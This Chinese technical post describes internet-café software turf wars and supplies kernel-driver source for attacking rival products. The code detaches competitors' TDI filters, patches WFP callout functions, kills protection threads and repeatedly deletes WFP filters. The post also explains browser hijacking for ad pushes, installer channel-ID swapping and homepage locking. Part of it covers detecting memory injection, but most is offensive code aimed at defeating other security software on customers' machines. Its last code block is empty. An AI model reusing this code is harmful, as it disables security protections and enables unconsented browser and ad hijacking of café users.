网吧业务安全对抗(有源码)

网吧业务竞争激烈,网吧都会有以下系统软件。

无盘:

无盘是指没有硬盘。好处是统一维护管理和节约成本。本人研究无盘好几年,后面会专门发帖介绍。

计费:

是指收费系统。

营销软件:

包括销售饮品、‌零食和向客户发送电子邮件营销和短信营销等。产品如网吧营销大师。

监管:

监管网吧黄赌毒的软件。

主动防御系统:

绝大多数网吧不装杀毒软件,因为有很多网络游戏都会被杀毒软件误报为病毒而被删除,

比如梦幻、大话、神泣等。而且网吧大多数单机游戏都是破解版,这些单机游戏十之八九也会被误报为病毒。

再有,网吧都是无盘系统,重启后安装的软件都会还原。

所以有了网吧的主动防御软件,相当于网吧的360卫士。

主要功能包括:网络拦截、进\线程、模块、文件、注册表、窗口拦截等。靠网络下发规则来执行拦截,如下图。

网吧增值业务:

已经形成了一个产业,包括下面几项。

1.chuangqi业务:

此业务竞争最激烈,每年billion的收益。因为chuanqi游戏一直很火,而且私服很多。

后面专门介绍如何对抗。

2.禁止添加桌面图标:

方法是,若我们驱动先启动: 使用minifilter拦截.lnk文件的创建

后启动: 拦截+删除白名单(自己的图标)以外的桌标。

所有的进程全部过滤。

3.登陆器封禁

有了抢浏览器,为啥还要有登陆器封禁。因为会从别的地方下载了sifu登陆器。这样可以forbid了竞品,弹出我们的登陆器。

4.渠道号:

替换软件安装包的渠道号,以拿到推广money。例如替换某游戏平台替换xxxxxx.db,就更改了渠道号。

5.浏览器锁主页:

驱动在进程回调中修改命令行参数。不懂的,可以见看雪文章 [原创]驱动锁主页方法一修改命令行参数-编程技术-看雪-安全社区|安全招聘|kanxue.com

下面介绍chuangqi业务:

因为用户玩传奇是从网站上下载,所以第三方软件会弹出广告令其下载。弹广告是由C端的程序控制,会抢占浏览器。

占浏览器无外乎是两种方法: 一个是网络过滤驱动(如WFP),一个是Hook浏览器。

除了抢浏览器手段一外,还会主动出击,攻破网吧的其它增值软件,不让其弹传奇Ads。

为了让我们的页面弹出来,竞品的业务不弹。我先采用的是Attack方法,先发制人。

安全是围绕攻防展开的。攻防是对立统一的。对立好理解,统一是: 防得好要先学攻,攻得好要理解防御。

攻击一点发力击破,难的是寻找突破点。防御是以一敌十,但需要考虑很全面。

所以安全很有研究价值的。

本文先聊下如何对付抢占浏览器,然后说下怎么防御对方攻击。

先介绍下TDI、WFP。

1.TDI:

TDI,Transport Driver Interface,传输驱动程序接口。TDI是早期的模型,虽说微软不推荐,但使用起来不影响。

TDI的引出是Microsoft在网络API程序和协议驱动之间又增加了一层即TDI。

什么要增加一层,因为微软希望通过分层后,工程师各司其职、分别开发。

TDI是微软提供的内核网络驱动模型中的编程接口规范,而不是部件,和NDIS一样。像AFD、TCPIP、NDIS驱动则是一个实现具体功能的部件,如下图:

上图来自看雪一半人生的文章。

下面介绍下Ring3到Ring0的网络分层结构:

ws2_32.dll提供了基本的socket相关函数(例如socket,bind,listen等)。

Windows在用户层提供了一种过滤网络数据包的HOOK方案,这个就是Layered service provider(也就是我们通常说的LSP),通过这种技术我们对网络包进行HOOK了,国内很多大厂用的都是这种技术。

Socket是一种统一的规范,无论是Windows还是Linux他们对外提供的接口都是一样的。在Windows下面Socket被转换成为设备的IO操作,并且提供了一个AFD.SYS(Ancillary Function Driver for WinSock)的驱动模块来辅助。

tcpip是一个网络协议驱动程序,对底层他提供了一个NIDS协议驱动,对上层他提供了应对TCP,UDP,RAWIP等不同协议的设备对象。

nicxxx是网卡驱动。

2.WFP:

WFP是windows推出来的新一代对网络数据进行操作的框架,用于取代TDI框架。WFP很灵活,就是框架有些重。用TDI实现网络功能也是完全可行的。

WFP的架构图如下:

WFP最重要的是下面几个组件:

过滤器(Filter):当满足一组条件的时候,执行指定的动作。多个滤器之间,有位置和权重之分。

Callout:是一组函数。数据流经过时,过滤器调用callout,执行callout中自定义的操作,然后标记放行还是阻断。

Layer:表示网络流量处理中调用过滤器引擎的特定点。(不同的Layer,有不同的标识。)

Sub-layer:layer的子组件。一个layer中可以创建不同的sub-layer,有权重之分。

当然还有Provider。它只用于管理, 不参与网络数据的过滤。

WFP有个弱点,特别是网吧环境,若关掉了BFE服务,WFP驱动就失效了:

再说下对抗网络过滤驱动:

1、TDI对抗:

TDI驱动的核心就是对于\\Device\\Tcp,\\Device\\Udp二个设备进行过滤,形成设备栈,然后对每个IRP进行处理。

然后讲下怎么遍历删除TDI钩子:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | ``//获取tdi钩子并移除------------------------------------ ``UNICODE_STRING uniNtNameString; ``PDEVICE_OBJECT pTargetDeviceObject = NULL; ``PFILE_OBJECT pTargetFileObject = NULL; ``PDEVICE_OBJECT pTdxXxDevObj = NULL; ``for (``int i = 0; i < 2; i++) ``{ ``if (i == 0) ``//TCP ``{ ``RtlInitUnicodeString(&uniNtNameString, DD_TCP_DEVICE_NAME); ``pTdxXxDevObj = g_pTdxTcpDevObj; ``} ``else //UDP ``{ ``RtlInitUnicodeString(&uniNtNameString, DD_UDP_DEVICE_NAME); ``pTdxXxDevObj = g_pTdxUdpDevObj; ``} ``status = IoGetDeviceObjectPointer(IN & uniNtNameString, IN FILE_READ_ATTRIBUTES, OUT & pTargetFileObject, &pTargetDeviceObject); ``if (NT_SUCCESS(status)) ``{ ``if (pTargetFileObject) ``ObDereferenceObject(pTargetFileObject); ``KdPrint((``"%s tdx Attached Driver Name:%wZ,Attached Driver Address:0x%p,Attached DeviceAddress:0x%p\n"``, ``i == 0 ? ``"TCP" : ``"UDP"``, ``&(pTargetDeviceObject->DriverObject->DriverName), ``pTargetDeviceObject->DriverObject, ``pTargetDeviceObject)); ``WcharToChar(pTargetDeviceObject->DriverObject->DriverName.Buffer, ``szDriverPath, ``sizeof``(szDriverPath)); ``nKillOrSuspendThread = pnKillCallback = 0; ``if (IsBlackDriver((``ULONG_PTR``)pTargetDeviceObject->DriverObject->DriverStart, ``pTargetDeviceObject->DriverObject->DriverSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) ``{ ``KdPrint((``"Check Tdi callback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"``, ``szDriverPath, (``PVOID``)ulBase, (``PVOID``)ulSize)); ``if (nKillOrSuspendThread & NormalKill) ``KillDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, szDriverPath); ``if (nKillOrSuspendThread & SpecialKill) ``//某清x卫士 ``KillDummyDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, ``"pci.sys"``); ``if (pnKillCallback & KillTdiCallback) ``{ ``if (pTdxXxDevObj && pTdxXxDevObj->AttachedDevice ``&& (pTdxXxDevObj->AttachedDevice == pTargetDeviceObject)) ``{ ``IoDetachDevice(pTdxXxDevObj); ``KdPrint((``"Remove TdiCallback!\r\n"``)); ``} ``} ``} ``} ``else ``{ ``KdPrint((``"%s IoGetDeviceObjectPointer error:0x%x!"``, i == 0 ? ``"TCP" : ``"UDP"``, status)); ``pTargetFileObject = NULL; ``pTargetDeviceObject = NULL; ``} ``} |

查找有TDI功能且是竞品的驱动,然后IoDetachDevice删除。下面是查找Tcp、Udp的tdi设备:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | VOID GetTdxDeviceObject(PDEVICE_OBJECT* ppTcpDevObj, ``PDEVICE_OBJECT* ppUdpDevObj) { ``NTSTATUS status; ``UNICODE_STRING tdx_name, tcp_name, udp_name; ``PDRIVER_OBJECT pTdxDriver = NULL; ``PDEVICE_OBJECT pDevObj = NULL; ``PUNICODE_STRING pObjectName = NULL; ``ULONG ulReturLength = 0; ``RtlInitUnicodeString(&tcp_name, L``"\\Device\\Tcp"``); ``RtlInitUnicodeString(&udp_name, L``"\\Device\\Udp"``); ``status = ObReferenceObjectByName(&tdx_name, ``OBJ_CASE_INSENSITIVE, ``NULL, ``0, ``(POBJECT_TYPE)(*IoDriverObjectType), ``KernelMode, ``NULL, ``(``PVOID``*)&pTdxDriver); ``if (pTdxDriver) ``{ ``pDevObj = pTdxDriver->DeviceObject; ``while (pDevObj) ``// iterate through DEVICE_OBJECT ``{ ``// linked list ``status = ObQueryNameString(pDevObj, NULL, 0, &ulReturLength); ``if (status == STATUS_INFO_LENGTH_MISMATCH) ``{ ``pObjectName = ExAllocatePoolWithTag(NonPagedPool, ulReturLength, ``'hwb'``); ``if (!pObjectName) ``return``; ``status = ObQueryNameString(pDevObj, (POBJECT_NAME_INFORMATION)pObjectName, ulReturLength, &ulReturLength); ``if (status == STATUS_SUCCESS) ``{ ``if (RtlCompareUnicodeString(&tcp_name, pObjectName, TRUE)) ``{ ``if (!RtlCompareUnicodeString(&udp_name, pObjectName, TRUE)) ``{ ``//ObfReferenceObject(pDevObj); ``if (ppUdpDevObj) ``*ppUdpDevObj = pDevObj; ``// Save pointer to \Device\Udp ``} ``} ``else ``{ ``//ObfReferenceObject(pDevObj); ``if (ppTcpDevObj) ``*ppTcpDevObj = pDevObj; ``// Save pointer to \Device\Tcp ``} ``} ``ExFreePoolWithTag(pObjectName, ``'hwb'``); ``} ``pDevObj = pDevObj->NextDevice; ``// get pointer to next DEVICE_OBJECT ``// in the list ``} ``ObfDereferenceObject(pTdxDriver); ``} } |

总结: 由于TCP\UDP设备是绑定在设备栈上的,所以Detach可以解除绑定,又判断了黑名单,所以驱动功能稳定。

2、WFP对抗:

1). 恢复WFP钩子:

a). 首先是找到gWfpGlobal表,然后遍历。核心代码如下:

|----------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | NTSTATUS EnumerateWfpCallbacks() { ``NTSTATUS status = STATUS_SUCCESS; ``ULONG_PTR ulDriverBase= GetMemoryDriverBase(``"netio.sys"``); ``ULONG_PTR ulFeGetWfpGlobalPtrAddress= ``GetAddressFromFunction((``PVOID``)ulDriverBase, ``"FeGetWfpGlobalPtr"``); ``KdPrint((``"FeGetWfpGlobalPtr地址:0x%p\r\n"``, ulFeGetWfpGlobalPtrAddress)); ``if (ulFeGetWfpGlobalPtrAddress && MmIsAddressValid((``PVOID``)ulFeGetWfpGlobalPtrAddress)) ``{ ``//0: kd > uf netio!FeGetWfpGlobalPtr ``//NETIO!FeGetWfpGlobalPtr: ```//fffff80739b99210 488b0549130500 mov rax, qword ptr[NETIO!gWfpGlobal(fffff80739bea560)]`` ```//fffff80739b99217 c3 ret`` ``ULONG_PTR ul_gWfpGlobal = (``ULONG_PTR``)(*(``PULONG``)(ulFeGetWfpGlobalPtrAddress + 3)) + ``ulFeGetWfpGlobalPtrAddress + 7; ``//7为指令长度 ``if (ul_gWfpGlobal && MmIsAddressValid((``PVOID``)ul_gWfpGlobal)) ``{ ``KdPrint((``"gWfpGlobal地址:0x%p\r\n"``, ul_gWfpGlobal)); ``int nEntriesNum = 0, nCalloutStructOffset = 0, nCalloutStructSize = 0; ``int nCount = 0; ``GetWfpCalloutOffset(&nEntriesNum, &nCalloutStructOffset, &nCalloutStructSize); ``//dps poi(poi(netio!gWfpGlobal) + 198h) + 0x50 ``for (``int i = 0; i < nEntriesNum; i++) ``{ ``ULONG_PTR ulClassifyAddress = (``PULONG64``)((``PULONG64``)ul_gWfpGlobal + ``nCalloutStructOffset) + nCalloutStructSize * i + 16; ``KdPrint((``"ClassifyAddress地址:0x%p\r\n"``, (``PULONG_PTR``)ulClassifyAddress)); ``if ((``PULONG_PTR``)ulClassifyAddress) ``nCount++; ``} ``KdPrint((``"总共%d个Callout\r\n"``, nCount)); ``} ``else ``KdPrint((``"获得gWfpGlobal地址错误!\r\n"``)); ``} ``else ``KdPrint((``"获得FeGetWfpGlobalPtr地址错误!\r\n"``)); ``return status; }` |

上面GetWfpCalloutOffset函数根据OS版本获得Callouts数量、偏移和大小。方法是分析内核netio!FeInitCalloutTable和netio!InitDefaultCallout得到。代码见附件EnumWFPCallouts,支持win7、win10、win11。

b).删除WFP的Callouts

|-------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | if (ulClassifyAddress && MmIsAddressValid((``PVOID``)ulClassifyAddress)) { ``ULONG_PTR ulClassifyFunction = *(``PULONG_PTR``)ulClassifyAddress; ``KdPrint((``"ClassifyAddress地址:0x%p\r\n"``, ulClassifyFunction)); ``if (ulClassifyFunction) ``nCount++; ``if (ulClassifyFunction && MmIsAddressValid((``PVOID``)ulClassifyFunction)) ``{ ``if (FindModuleByAddress(pSysModuleList, ulClassifyFunction, ``szDriverPath, &ulBase, &ulSize)) ``{ ``KdPrint((``"Driver is:%s\r\n"``, szDriverPath)); ``nKillOrSuspendThread = pnKillCallback = 0; ``//判断是否竞品 ``if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) ``{ ``KdPrint((``"Check WFP Callout IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"``, ``szDriverPath, (``PVOID``)ulBase, (``PVOID``)ulSize)); ``//先干掉保护线程 ``if (nKillOrSuspendThread & NormalKill) ``KillDriverAllThreadByCallBack(pSysModuleList, (``PVOID``)ulClassifyFunction, szDriverPath); ``if (nKillOrSuspendThread & SpecialKill) ``//某清x卫士 ``KillDummyDriverAllThreadByCallBack(pSysModuleList, (``PVOID``)ulClassifyFunction, ``"pci.sys"``); ``//再Patch竞品钩子 ``if (pnKillCallback & KillWFP) ``{ ``//Patch ``/*0xFFFFF80619911940 48 8B 44 24 38 mov rax, qword ptr[rsp + 0x38] ``0xFFFFF80619911945 C7 00 02 10 00 00 mov dword ptr[rax], 0x1002 ``0xFFFFF8061991194B C3 ret*/ ``char szPatchCode[12] = { 0x48,0x8B,0x44,0x24,0x38,0xC7,0x00,0x02, ``0x10,0x00,0x00,0xC3 }; ``SafeCopyMemory((``PVOID``)ulClassifyFunction, szPatchCode, 12); ``KdPrint((``"Remove WFPCallout Success\r\n"``)); ``} ``} ``} ``} } |

前面IsBlackDriver根据竞品内存字符串、设备名、签名、文件内存大小定位。

上面定义了个枚举类型,表示特征码的类型。

上文的注释为什么"先干掉保护线程"再"Patch竞品钩子",因为移除钩子,保护线程会将其恢复。

清x卫士的保护线程在pci.sys中。它把保护线程注入shellcode到pci.sys空隙里了。

查找保护线程首先上ARK工具,右键->驱动线程:

然后挂起上图线程。

有的保护线程并不在自己空间里,这时候就要用到VT CPU虚拟化,Hook保护线程调用的保护API函数,然后打印进\线程ID。

关于VT后面还会提及。

2). 删除WFP的Filter

上文介绍了遍历并移除WFP Callout,下面介绍下另一种对抗方法,Ring3删除Filter:

|----------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | // 删除指定的 WFP Filter DWORD DeleteWFPFilter(``const GUID& filterKey) { ``DWORD result = NO_ERROR; ``HANDLE engineHandle = NULL; ``FWPM_FILTER0 filter = { 0 }; ``// 打开 WFP Engine ``result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle); ``if (result != NO_ERROR) { ``std::cerr << ``"Failed to open WFP engine. Error code: " << result << std::endl; ``return result; ``} ``// 根据 Filter Key 构建 Filter 条件 ``filter.filterKey = filterKey; ``// 删除 Filter ``result = FwpmFilterDeleteByKey0(engineHandle, &filter.filterKey); ``if (result != NO_ERROR) { ``std::cerr << ``"Failed to delete WFP filter. Error code: " << result << std::endl; ``} ``// 关闭 WFP Engine ``FwpmEngineClose0(engineHandle); ``return result; } int main() { ``// 要删除的 WFP Filter 的 Key ``//{4C08040E-6D8F-4B09-AADC-BA117A2E0D5B} ``GUID filterKey = { 0x4C08040E, 0x6D8F, 0x4B09, { 0xAA, 0xDC, 0xBA, 0x11, 0x7A, 0x2E, 0x0D, 0x5B } }; ``while (``true``) ``{ ``// 删除 WFP Filter ``DWORD result = DeleteWFPFilter(filterKey); ``if (result == NO_ERROR) { ``std::cout << ``"WFP filter deleted successfully." << std::endl; ``} ``Sleep(3000); ``} ``return 0; } |

指定GUID号,即可删除。使用WFPExp.exe查看:

再聊下如何对付Hook浏览器。竞品挂钩浏览器注入dll后,会跳转到自己的页面。

对抗思路:

1.若是进程Hook的,查找注入浏览器的进程,然后挂起或结束。

2.若是驱动注入的,Patch注入线程或恢复回调。

3.UnHook浏览器。

一、 查找注入浏览器的进程

  1. 扫描无模块注入的内存:

现在很少用有模块注入了,为了隐蔽。所以都是无模块注入。应用层代码网上有,内核代码注入还可以隐藏dll。

使用Cheate Engine一次只能扫描一个内存:

所以我写了下面这段代码扫描所有内存:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | BOOL SearchMem(``const HANDLE``& process, ``BYTE``* lpData, ``int iSize, ``URL_TYPE enumUrlType, std::unordered_set<std::string>& sDistributeUrls, ``std::unordered_set<std::string>& sJsInjectUrls) { ``SYSTEM_INFO si; ``GetSystemInfo(&si); ``ULONG_PTR start = (``ULONG_PTR``)si.lpMinimumApplicationAddress; ``ULONG_PTR end = (``ULONG_PTR``)si.lpMaximumApplicationAddress; ``MEMORY_BASIC_INFORMATION info; ``SIZE_T bytesRead = 0; ``ULONG_PTR readIndex = start; ``int totalBytesRead = 0; ``BOOL bFind = FALSE; ``int iFlag = 0; ``while (readIndex < end) ``{ ``if (VirtualQueryEx(process, (``LPCVOID``)readIndex, &info, ``sizeof``(info)) == 0) { ``_printf(``"VirtualQueryEx==0!!!"``); ``break``; ``} ``readIndex = (``ULONG_PTR``)info.BaseAddress; ``if (info.State != MEM_COMMIT ``|| info.Type != MEM_PRIVATE) ``//扫描的无模块内存 ``{ ``readIndex += info.RegionSize; ``continue``; ``} ``SIZE_T bytesToRead = info.RegionSize; ``char``* buffer = ``new char``[bytesToRead]; ``if (!buffer) ``{ ``_printf(``"分配内存失败!\r\n"``); ``return FALSE; ``} ``memset``(buffer, 0, bytesToRead); ``bytesRead = 0; ``BOOL bReadSuccess = ReadProcessMemory(process, (``LPCVOID``)readIndex, buffer, bytesToRead, &bytesRead); ``if (bytesRead && (bytesRead - iSize>0)) ``{ ``for (``int i = 0; i < (bytesRead - iSize); i++) ``{ ``if (``memcmp``(buffer + i, lpData, iSize) == 0) ``{ ``if (enumUrlType == SCAN_MEM) ``{ ``bFind = TRUE; ``break``; ``} ``} ``} ``} ``if (!bReadSuccess) ``{ ``if (bytesRead <= 0) ``bytesRead = info.RegionSize; ``} ``totalBytesRead += bytesRead; ``readIndex += bytesRead; ``delete``[] buffer; ``} ``return bFind; } |

上面代码扫描了所有进程,加了 info.Type != MEM_PRIVATE 判断,加快扫描速度。因为无模块内存的属性MEM_PRIVATE。

2、VT查找无模块注入的内存:

大多数注入内存都要调用NtAllocateVirtualMemory、NtWriteVirtualMemory两个API。

下面来自我写的ddimon修改版的代码:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | NTSTATUS DdimonpHandleNtWriteVirtualMemory( ``IN ``HANDLE ProcessHandle, IN ``PVOID BaseAddress, IN ``PVOID Buffer, ``IN ``SIZE_T NumberOfBytesToWrite, OUT ``PSIZE_T NumberOfBytesWritten OPTIONAL) { ``HYPERPLATFORM_LOG_INFO_SAFE(``"enter DdimonpHandleNtWriteVirtualMemory!\r\n"``); ``const auto original = DdimonpFindOrignal(DdimonpHandleNtWriteVirtualMemory); ``if (!original) ``return STATUS_SUCCESS; ``BOOL bSuccess= original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, ``NumberOfBytesWritten); ``PEPROCESS pSourceEprocess = PsGetCurrentProcess(); ``if (!pSourceEprocess) { ``DbgPrint(``"pSourceEprocess is null!\r\n"``); ``return bSuccess; ``} ``PETHREAD pSourceEthread = PsGetCurrentThread(); ``if (!pSourceEthread) { ``DbgPrint(``"pSourceEthread is null!\r\n"``); ``return bSuccess; ``} ``HANDLE hSourcePid = PsGetProcessId(pSourceEprocess); ``HANDLE hSourceTid = PsGetThreadId(pSourceEthread); ``if ((``LONG_PTR``)ProcessHandle == -1) { ``return bSuccess; ``} ``ULONG_PTR ulPid = HandleToPid(ProcessHandle); ``CHAR szSrcImageFilePath[MAX_PATH] = {0}; ``WCHAR wzSrcImageFilePath[MAX_PATH] = {0}; ``GetProcessImageFilePathSafeIrql(hSourcePid, wzSrcImageFilePath, MAX_PATH); ``CHAR szDestImageFilePath[MAX_PATH] = {0}; ``WCHAR wzDestImageFilePath[MAX_PATH] = {0}; ``GetProcessImageFilePathSafeIrql((``HANDLE``)ulPid, wzDestImageFilePath, MAX_PATH); ``//判断谁注入浏览器用 ``if (!_stricmp(szDestImageFilePath, ``"chrome.exe"``)) ``//以及其它浏览器进程exe ``{ ``//若注入的不是加了vmp壳的无模块,修改下面的"vmp0"字符串 ``int index = binaryStringSearch((``char``*)``"vmp0"``, FALSE, ``(``char``*)Buffer, (``int``)NumberOfBytesToWrite); ``if (index != -1) { ``KdPrint( ``(``"NtWriteVirtualMemory,vmp0,调用进程Id:%d,线程Id:%d,目标进程id:%d," ``"源进程名:%s,目的进程名:%s,地址:0x%p,长度:%d\r\n"``, ``hSourcePid, hSourceTid, ulPid, szSrcImageFilePath, ``szDestImageFilePath, BaseAddress, NumberOfBytesToWrite)); ``} ``else { ``KdPrint( ``(``"NtWriteVirtualMemory,调用进程Id:%d,线程Id:%d,目标进程id:%d," ``"源进程名:%s,目的进程名:%s,地址:0x%" ``"p,长度:%d\r\n"``, ``hSourcePid, hSourceTid, ulPid, szSrcImageFilePath, ``szDestImageFilePath, BaseAddress, NumberOfBytesToWrite)); ``} ``} ``return bSuccess; } |

用VT虚拟化技术,Hook了系统所有调用NtWriteVirtualMemory的函数,里面判断了"vmp0"字符串,

因为注入的都是加了壳的代码,大多是vmp壳,不是vmp的替换"vmp0"字符串。代码里有打印

调用进程Id和线程Id,以找到是谁注入的。

二、驱动注入的处理:

驱动注入dll,一般用LoadImageNotify拦截或遍历进程。所以应对方法是去掉LoadImageNotify钩子或挂起遍历进程的驱动线程。

三、UnHook浏览器:

因为Hook浏览器,一般是jmp xxxx,所以检测浏览器内存和文件是否相同。不同的再判断是否为jmp指令,是则从文件中拷贝恢复。

由于字数限制,无法这里展示代码。附件有部分代码,有空我再发一个帖子。

然后说下如何防御对方攻击:

广告业务会使用x64的CreateProcessNotify回调使我们页面弹不出来;

LoadImageNotify回调拦截我们软件驱动签名,或Patch我们驱动入口点;

KillObCallback保护自己线程不被打开;

LoadImageNotify会拦截我们软件驱动加载;

minifilter会拦截我们驱动文件释放;

CreateThreadNotify会拦截我们注入无模块进程;

对抗方法是移除对方回调,CreateProcessNotify回调\LoadImageNotify回调\CreateThreadNotify回调的移除方法略过。

下面给出KillObCallback、minifilter回调移除的代码:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
